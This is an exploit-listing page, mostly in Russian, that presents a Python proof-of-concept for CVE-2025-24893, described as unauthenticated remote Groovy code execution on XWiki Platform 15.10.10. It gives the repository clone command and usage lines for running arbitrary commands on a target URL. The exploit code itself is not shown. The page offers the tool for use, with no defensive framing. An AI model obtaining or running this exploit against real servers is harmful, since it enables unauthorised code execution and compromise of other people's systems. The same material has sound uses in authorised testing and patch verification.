Exploit for CVE-2025-24893

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZS1N-CVE-2025-24893
# CVE-2025-24893

## PoC | XWiki Platform 15.10.10 - Удаленное выполнение кода

Уязвимость категории RCE (Remote Code Execution), обнаруженная, когда неаутентифицированные злоумышленники могут удаленно выполнить произвольный Groovy-код без аутентификации и предварительного доступа (гостевой пользователь). Ниже представлен PoC (Proof-Of-Concept) на Python для эксплуатации этой уязвимости.

## Установка.

### 1\. Клонируйте репозиторий на вашу машину.

root@kitploit:~
    
    
    git clone https://github.com/zs1n/CVE-2025-24893
    

### 2\. Запустите эксплойт.

root@kitploit:~
    
    
    python3 CVE-2025-24893.py -u <url> -c <command>
    

## Пример:

root@kitploit:~
    
    
    python3 CVE-2025-24893.py -u https://domain.com -c 'id'